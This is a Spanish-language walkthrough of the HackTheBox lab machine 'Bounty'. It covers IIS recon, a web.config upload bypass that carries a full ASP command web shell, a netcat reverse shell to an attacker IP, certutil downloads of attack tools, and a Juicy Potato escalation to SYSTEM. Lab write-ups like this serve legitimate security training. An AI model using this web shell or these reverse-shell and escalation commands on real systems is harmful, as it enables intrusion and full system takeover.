> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/bounty-hackthebox-writeup.md).

# Guía de Bounty HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Bounty>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeración de IIS y fuzzing de directorios
* IIS `web.config` omisión de carga y ejecución de web shell
* reverse shells de Windows sobre SMB
* `SeImpersonatePrivilege` escalada con Juicy Potato
  {% endhint %}

## Reconocimiento

Crea un espacio de trabajo para la máquina.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FdhRbRE9kB6xkJcsI7Qwp%2Fimage.png?alt=media&amp;token=62aca250-fcf5-40b2-bad8-fb8a88d35ca7" alt="" width="563"><figcaption></figcaption></figure>

El TTL de `128` indica que el objetivo probablemente es una máquina Windows.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FpDjUq3SwKadH4Z3zmi4R%2Fimage.png?alt=media&amp;token=2785e2d1-c711-4c73-8ebd-6976cbda96c9" alt="" width="563"><figcaption></figcaption></figure>

### Escaneo de puertos

{% code overflow="wrap" %}

```bash
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.6.49 -oG allPorts
```

{% endcode %}

Puerto `80` está abierto.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F6QSvsE2WKcukBBy7lerg%2Fimage.png?alt=media&amp;token=fca0317b-0587-4a7f-afd3-4af2b74771b6" alt=""><figcaption></figcaption></figure>

Escanea el servicio web en detalle.

{% code overflow="wrap" %}

```bash
nmap -sCV -p80 10.129.6.49 -oN targeted
```

{% endcode %}

El escaneo identifica Microsoft IIS HTTPD 7.5.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F4Nh2Fy3hcbM9zRW3xyBO%2Fimage.png?alt=media&amp;token=74d12558-e0af-4091-b913-19e74cdffee6" alt=""><figcaption></figcaption></figure>

La página en el puerto `80` solo muestra una imagen.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FGjPs1ZgioirVPiMY33t3%2Fimage.png?alt=media&amp;token=e54d122d-7d89-4d0c-b20b-be73c9ebefea" alt=""><figcaption></figcaption></figure>

### Enumeración de directorios

Haz fuzzing al servidor web en busca de archivos y directorios.

{% code overflow="wrap" %}

```bash
gobuster dir -u http://10.129.6.49/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x asp,aspx -t 100 -r
```

{% endcode %}

El escaneo revela:

* transfer.aspx
* `uploadedfiles`

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FIMrvtyD4PGwU8mDDCfXT%2Fimage.png?alt=media&amp;token=b90dfb5c-2e4f-4872-aae1-fddf19f5630a" alt=""><figcaption></figcaption></figure>

`transfer.aspx` acepta cargas de archivos.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FUC9Dc8V6DK4tV48BNtvv%2Fimage.png?alt=media&amp;token=3eb5c8b3-4577-4066-87db-7c8189434c46" alt="" width="561"><figcaption></figcaption></figure>

Un `.aspx` la shell de comandos es rechazada porque su extensión no está permitida.

{% code overflow="wrap" %}

```bash
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FvHHcYaeDyoAZ6DJcvAAZ%2Fimage.png?alt=media&amp;token=dc3a3c8c-cb4d-4791-b209-4dd956819572" alt=""><figcaption></figcaption></figure>

Busca `Todas las extensiones de archivo para una reverse shell de Windows IIS`. HackTricks describe varias extensiones relevantes, entre ellas `.asp`, `.aspx`, `.config`, y `.php`.

{% embed url="<https://hacktricks.wiki/en/network-services-pentesting/pentesting-web/iis-internet-information-services.html>" %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FWHIP4m5bXb3JPMH6jHkm%2Fimage.png?alt=media&amp;token=3ff943bf-055e-4f11-a1c0-1381bac01310" alt=""><figcaption></figcaption></figure>

El [Evasión de carga de web.config de IIS](/es/web-vulnerabilities/file-upload-attack/iis-web.config-upload-bypass.md) permite la ejecución a través de `.config` archivos.

#### Ejecutar archivos .config

> Si una aplicación te permite subir un archivo .config a un directorio servido, un web.config de IIS puede ser útil para la ejecución de código. Una técnica añade la carga útil dentro de un comentario HTML: descarga un ejemplo aquí.
>
> Más información y técnicas para explotar esta vulnerabilidad aquí\[2]

Crea un `web.config` archivo con el siguiente contenido.

{% code overflow="wrap" %}

```bash
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!--
<% Response.write("-"&"->")%>
<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")

Function getCommandOutput(theCommand)
    Dim objShell, objCmdExec
    Set objShell = CreateObject("WScript.Shell")
    Set objCmdExec = objshell.exec(thecommand)

    getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>

<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Ejecutar">
</FORM>

<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>El puerto del servidor:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>El software del servidor:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>El software del servidor:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>



<%Response.write("<!-"&"-") %>
-->
```

{% endcode %}

El `.config` se carga correctamente.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fb7K4yz4nylJjkGJ51PA8%2Fimage.png?alt=media&amp;token=bc36998f-7a8a-427e-809d-16dfe7b521d3" alt=""><figcaption></figcaption></figure>

Navega a `/uploadedfiles/web.config` para acceder a la web shell. El archivo se elimina después de unos segundos.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FF0FALBOISETaZKMSVCG6%2Fimage.png?alt=media&amp;token=f28d5941-5002-4503-af32-21264e26a2cc" alt=""><figcaption></figcaption></figure>

## Acceso inicial

Usa la web shell para obtener una reverse shell.

Coloca un Netcat ejecutable en el directorio actual:

```bash
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

Inicia un servidor SMB para compartir el archivo:

```bash
smbserver.py smbFolder $(pwd) -smb2support
```

Configura tu máquina como listener en el puerto 443:

```bash
sudo rlwrap nc -nvlp 443
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FDtp7McxSizx5P5CsQyp4%2Fimage.png?alt=media&amp;token=c94ec033-4693-407f-8217-2213f6ee3360" alt=""><figcaption></figcaption></figure>

Ejecuta el comando de reverse shell desde la WebShell:

{% code overflow="wrap" %}

```bash
//10.10.15.2/smbFolder/nc.exe -e cmd 10.10.15.2 443

http://10.129.6.49/uploadedfiles/web.config?cmd=%2F%2F10.10.15.2%2FsmbFolder%2Fnc.exe+-e+cmd+10.10.15.2+443
```

{% endcode %}

La reverse shell se conecta correctamente.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FJqbSdDMNjQD9eaUb1LjR%2Fimage.png?alt=media&amp;token=7f32ce4e-b64f-44f8-be71-dd5ae0c86e69" alt=""><figcaption></figcaption></figure>

Recupera la bandera de usuario.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F9pEr8blbm9wzQm9x8wOC%2Fimage.png?alt=media&amp;token=6ecb8b36-912b-4502-b124-66b4ff135757" alt=""><figcaption></figcaption></figure>

## Escalada de privilegios

El usuario actual tiene el `SeImpersonatePrivilege` privilegio.

{% code overflow="wrap" %}

```bash
whoami /priv
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Ft9Tj2gFqcjJSVzXbd00L%2Fimage.png?alt=media&amp;token=58eb860f-5d25-4ac5-ac7e-325fb8f3905f" alt=""><figcaption></figcaption></figure>

Descargar `JP.exe`.

{% embed url="<https://github.com/k4sth4/Juicy-Potato/tree/main/x64>" %}

Transfiérelo, junto con Netcat, a la máquina objetivo.

{% code overflow="wrap" %}

```bash
certutil.exe -f -urlcache -split http://10.10.15.2:8000/JP.exe
certutil.exe -f -urlcache -split http://10.10.15.2:8000/nc.exe
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FAqLFS4473GgZd2v8VXjP%2Fimage.png?alt=media&amp;token=f50682bb-aeae-496c-969b-4ad8da3f099f" alt=""><figcaption></figcaption></figure>

Inicia un listener en el puerto `1234`.

{% code overflow="wrap" %}

```bash
sudo rlwrap nc -nvlp 1234
```

{% endcode %}

Ejecuta Juicy Potato para ejecutar `cmd.exe` como `SYSTEM`.

{% code overflow="wrap" %}

```bash
.\JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c c:/Users/merlin/Downloads/nc.exe -e cmd 10.10.15.2 1234"
```

{% endcode %}

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCpOPU2UcH5U5jJ3YtXC0%2Fimage.png?alt=media&amp;token=e38e3cd1-11a3-42e7-a428-6bbe995535e3" alt=""><figcaption></figcaption></figure>

Recupera la bandera de root.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FLHrFjStc6NngcwNVtKnp%2Fimage.png?alt=media&amp;token=c5c63f77-2602-4743-8e73-f1571bdf7c67" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FZAAG7VcXGTobv8xtBLYo%2Fimage.png?alt=media&amp;token=b89480bd-22f5-4dcc-b295-5aabc44839c2" alt="" width="515"><figcaption></figcaption></figure>


---

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```

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